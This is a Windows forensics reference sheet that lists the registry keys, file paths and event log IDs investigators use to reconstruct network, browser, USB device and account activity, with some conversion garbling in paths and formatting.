Identifying intranets and networks that a computer has connected to is incredibly important. Not only can you determine the intranet name, you can determine the last time the network was connected to based on the last write time of the key. This will also list any networks that have been connected to via a CPN. MAC Address of SSID for Gateway could be physically triangulated

 $\frac{\text{Cookies}}{\text{may have}}$ - Cookies give insight into what websites have been visited and what activiteies may have taken place there.

Locations:

 ${\tt IE6-8: \$USERPROFILE\$\setminus AppData\setminus Roaming\setminus Microsoft\setminus Windows\setminus Cookies}$

IE10: %USERPROFILE%\AppData\Roaming\Microsoft\Windows\Cookies

IE11: %USERPROFILE%\AppData\Local\Microsoft\Windows\INetCookies

Firefox-XP: %USERPROFILE%\Application Data\Mozilla\Firefox\Profiles\<random

text>.default\cookies.sqlite

Firefox-Win7/8/10:

%USERPROFILE%\AppData\Roaming\Mozilla\Firefox\Profiles\<randomtext>.default\cookies.sq lite

Chrome-XP: %USERPROFILE%\Local Settings\ApplicationData\Google\Chrome\User

Data\Default\Local Storage

Browser Search Terms - Records websites visited by date and time. Details stored for each local user account. Records number of times visited (frequency). Also tracks access

of local system files. This will also include the website history of search terms in search engines.

Locations:

IE6-7: %USERPROFILE%\Local Settings\History\History.IE5

IE8-9: %USERPROFILE%\AppData\Local\Microsoft\Windows\History\History.IE5

Firefox-XP: %userprofile%\Application

 $\verb|Data|Mozilla|Firefox|Profiles|< random text> default|places.sqlite|$

Win7/8/10:

%userprofile%\AppData\Roaming\Mozilla\Firefox\Profiles\<randomtext>.default\places.sql ite

External Device/USB Usage

<u>Key Identification</u> - Track USB devices plugged into a machine

Location:

 ${\tt SYSTEM} \\ {\tt CurrentControlSet} \\ {\tt Enum} \\ {\tt USBSTOR}$

SYSTEM\CurrentControlSet\Enum\USB

Identify the vendor, product, and version of a USB device plugged into a machine. Identify a unique USB device plugged into the machine. Determine the time a device was plugged into the machine. Devices that do not have a unique serial number will have an "&" in the second character of the serial number.

 $\frac{\text{First/Last Times}}{\text{Mindows Machine.}}$ - Determine temporal usage of specific USB devices connected to a

Location First Time:

XP - C:\Windows\setupapi.log

Win7/8/10 - C:\Windows\inf\setupapi.dev.log

Search for Device Serial Number & Log File times are set to local time zone.

Location First, Last and Removal Times (Win 7/8/10 Only):

System Hive - \CurrentControlSet\Enum\USBSTOR\Ven Prod Version\USB

 $iSerial - \#\Properties \{83da6326-97a6-4088-9453-a\overline{1}923f\overline{5}73b29\} \} \#\#\#\#$

0064 = First Install (Win7/8); 0066 = Last Connected (Win 8 Only); 0067 = Last Removal (Win 8 Only)

User - Find User that used the Unique USB Device.

Location: Look for GUID from SYSTEM\MountedDevices

NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2

This GUID will be used next to identify the user that plugged in the device. The last write time of this key also corresponds to the last time the device was plugged into the machine by that user. The number will be referenced in the user's personal mountpoints key in the NTUSER.DAT Hive.

<u>Volume Serial Number</u> - Discover the Volume Serial Number of the Filesystem Partition on the USB (NOTE: This is not the USB Unique Serial Number, that is hardcoded into the device firmware).

Location: SOFTWARE\Microsoft\WindowsNT\CurrentVersion\ENDMqmt

Use Volume Name and USB Unique Serial Number to find; last integer number in line; convert decimal serial number into hex serial number

Knowing both the Volume Seial Number and the Volume Name you can correlate the data across SHORTCUT file (LNK) analysis and the RECENTDOCs key. The Shortcut File (LNK) contains the Volume Serial Number and Name. RecentDocs Registry Key in most cases will contain the volume name when the USB device is opened via Explorer

 $\underline{\text{Drive Letter \& Volume Name}}$ - Discover the last drive letter of the USB Device when it was plugged into the machine

XP - Find ParentIdPrefix - SYSTEM\CurrentControlSet\Enum\USBSTOR. Using ParentIdPrefix
Discover Last Mount Point - SYSTEM\MountedDevices

SYSTEM\MountedDevices

Examine Drive Letter's looking at Value Data Looking for Serial Number

Identify the USB device that was last mapped to a specific drive letter. This technique will only work for the last drive mapped. It does not contain historical records of every drive letter mapped to a removable drive.

 $\frac{Shortcut\ (LNK)\ Files}{open\ local\ and\ remote}\ -\ shortcut\ files\ automatically\ created\ by\ Windows\ -\ recent\ items\ \&\ open\ local\ and\ remote\ data\ files\ and\ documents\ will\ generate\ a\ shortcut\ file\ (.lnk)$ Location:

XP - %USERPROFILE%\Recent

%USERPROFILE%\AppData\Roaming\Microsoft\Office\Recent

Date/Time file of that name was first opened - Creation Date of Shortcut (LNK) File Date/Time file of that name was last opened - Last Modification Date of Shortcut (LNK) File

LNK Target File (Internal LNK File Information) Data: Modified, Access, and Creation times of the target file

Volume Information (Name, Type Serial Number) - Network Share Info, Original Location, Name of System

<u>PnP Events</u> - When a Plug and Play driver is installed the service will log and ID 20001 event and provide a status within the event. It is important to note that this event will trigger for any Plug and Play capable device, including but not limited to USB, Firewire, and PCMCIA devices.

Location (System Log File):

Win 7/8/10- %system root%\System32\winevt\logs\System.evtx

Event ID 20001 - Plug and Play driver install attempted; Timestamp, Device information, Device serial number, status (0 = no errors)

Account Usage

 $\underline{\text{Last Login}}$ - Lists the local accounts of the system and their equivalent security identifiers.

Location:

C:\windows\systems32\config\SAM

SAM\Domains\Account\Users

Only the last login time will be stores in the registry key

<u>Last Password Change</u> - Lists the last time the password of a specific user has been changed.

Location:

C:\windows\system32\config\SAM

SAM\Domains\Account\Users

Only the last password change time will be stored in the registry key

 $\frac{Success/Fail\ Logons}{account\ usage\ for\ known\ compromised\ accounts.}$ - Determine which accounts have been used for attempted logons. Track

Locations:

XP - %system root%\System32\config\SecEvent.evt

Win 7/8/10 - %system root%\System32\winevt\logs\Security.evtx

Event ID 528/4624 - Successful Logon; 529/4625 - Failed Logon; 538/4634 - Successful Logoff; 540/4624 - Successful Network Logon (i.e. file shares)

<u>Logon Types</u> - Logon Events can give us very specific information regarding the nature of the account authorizations on a system if we know where to look and how to decipher the data that we find. In addition to telling us the date, time, username, hastname, and success/failure status of a logn, Logon Events also enables us to determine by exactly what means a logon was attempted.

XP Event ID 528

Win 7/8/10 - Event ID 4624

Logon Type - 2-Logon via console; 3 - Network Logon; 4 - Batch Logon; 5 - Windows Service Logon; 7 - Credentials used to unlock screen; 8 - Network logon sending credentials (clear text); 9 - Different credentials used than logged on user; 10 - Remote interactive logon (RDP); 11 - Cached credentials used to logon; 12 - Cached remote interactive (similar to Type 10); 13 - Cached unlock (similar to Type 7)

RDP Usage - Track Remote Desktop Protocol logons to target machines

Location (Security Log):

XP - %SYSTEM ROOT%\System32\config\SecEvent.evt

Win7/8/10 - %SYSTEM ROOT%\System32\winevt\logs\Security.evtx

Event ID 682/4778 - Session Connected/Reconnected

Event ID 683/4779 - Session Disconnected

Event log provides hostname and IP address of remote machine making the connection. On workstations you will often see current console session disconnected (683) followed by RDP connection (682).

<u>Services Events</u> - Analyze logs for suspicious services running at boot time & review services started or stopped around the time of a suspected compromise.

Event ID 7034 - Service crashed unexpectedly; 7035 - Service sent a Start/Stop control; 7036 - Service started or stopped; 7040 - Start type changed (Boot | On Request | Disabled)

A large amount of malware and worms in the wild utilize Services; Services started on boot illustrate persistence (desirable in malware); Services can crash due to attacks like process injection

Browser Usage History - Records websites visited by date and time. Details stored for each local user account. Records number of times visited (frequency). Also tracks access of local system Locations: IE6-7: %USERPROFILE%\Local Settings\History\History.IE5 IE8-9: %USERPROFILE%\AppData\Local\Microsoft\Windows\History\History.IE5 IE10-11: %USERPROFILE%\AppData\Local\Microsoft\Windows\WebCache\WebCacheV*.dat %USERPROFILE%\Application Firefox-XP: Data\Mozilla\Firefox\Profiles\<random text>.default\places.sqlite Firefox-Win7/8/10 - %USERPROFILE%\AppData\Roaming\Mozilla\Firefox\Profiles\<random text>.default\places.sqlite Chrome-XP - %USERPROFILE%\Local Settings\Application Data\Google\Chrome\User Data\Default\History Chrome-Win7/8/10 - %USERPROFILE%\AppData\Local\Google\Chrome\User Data\Default\History Cookies - Cookies give insight into what websites have been visited and what activities may have taken place there. Locations: IE8-10: %USERPROFILE%\AppData\Roaming\Microsoft\Windows\Cookies IE11: %USERPROFILE%\AppData\Local\Microsoft\Windows\INetCookies Firefox-XP -%USERPROFILE%\Application Data\Mozilla\Firefox\Profiles\<random text>.default\cookies.sqlite Firefox-Win7/8/10 %USERPROFILE%\AppData\Roaming\Mozilla\Firefox\Profiles\<randomtext>.default\cookies.sq lite Chrome-XP %USERPROFILE%\Local Settings\Application Data\Google\Chrome\User Data\Default\Local Storage\ $\label{local_cond} $$\operatorname{Chrome-Win7/8/10} - $\operatorname{USERPROFILE}\Delta \operatorname{Local_Google\Chrome\User} $$\operatorname{Data\Default\Local} = \operatorname{Chrome}\operatorname{Chrome\User} $$\operatorname{Chrome\User} = \operatorname{Chrome\User} = \operatorname{Chrome\User} $$\operatorname{Chrome\User} = \operatorname{Chrome\User} =$ Storage Cache - The cache is where web page components can be stored locally to speed up subsequent visits. Gives the investigator a "snapshot in time" of what a user was looking at online - Identifies which websites which were visited - Provides the actual files the user viewed on a given website - Cached files are tied to a specific local user account - Timestamps show when the site was first saved and last viewed Location: IE8-10: %USERPROFILE%\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5 IE11: %USERPROFILE%\AppData\Local\Microsoft\Windows\INetCache\IE %USERPROFILE%\Local Firefox-XP: Settings\ApplicationData\Mozilla\Firefox\Profiles\<randomtext>.default\Cache Firefox-Win7/8/10 %USERPROFILE%\AppData\Local\Mozilla\Firefox\Profiles\<randomtext>.default\Cache %USERPROFILE%\Local Settings\Application Data\Google\Chrome\User Data\Default\Cache - data # and f ###### $\label{localGoogleChromeWin7/8/10 - %USERPROFILE (AppData Local Google \ Chrome \ User Data \ Default \ Cache \ - \ Chrome \ Ch$ data # and f ##### Session Restore - Automatic Crash Recovery features built into the browser. IE-Win7/8/10 - %USERPROFILE%\AppData\Local\Microsoft\Internet Explorer\Recovery Firefox-Win7/8/10 %USERPROFILE\AppData\Roaming\Mozilla\Firefox\Profiles\<randomtext>.default\sessionstor e.is Chrome-Win7/8/10 - %USERPROFILE%\AppData\Local\Google\Chrome\User Data\Default Files = Current Session, Current Tabs, Last Session, Last Tabs
Historical websites viewed in each tab, referring websites, time session ended, modified

time of .dat files in LastActive folder, time each tab opened (only when crash occurred),

creation time of .dat files in Active folder

Location Win7/8/10

%APPDATA%\Romaing\Macromedia\FlashPlayer\#SharedObjects\<randomprofileid> Websites visited, user account used to visit the site, when cookie was created and last

 $\underline{\text{Google Analytics Cookies}}$ - Google Analytics (GA) has developed an extremely sophisticated methodology for tracking site visits, user activity, and paid search. Since GA is largely free, it has a commanding share of the market estimated at over 80% of sites using traffic analysis and over 50% of all sites.

 $_$ utma - Unique visitors - domain hash, visitor id, cookie creation time, time of 2^{nd} most recent visit, number of visits

 $_$ utmb - Session tracking - domain hash, page views in current session, outbound link clicks, time current session started

_utmz - Traffic sources - domain hash, last update time, number of visits, number of different types of visits, source used to access site, Google Adwords campaign name, Access Method (organic, referall , cpc, email, direct), Key word used to find site (non-SSL only)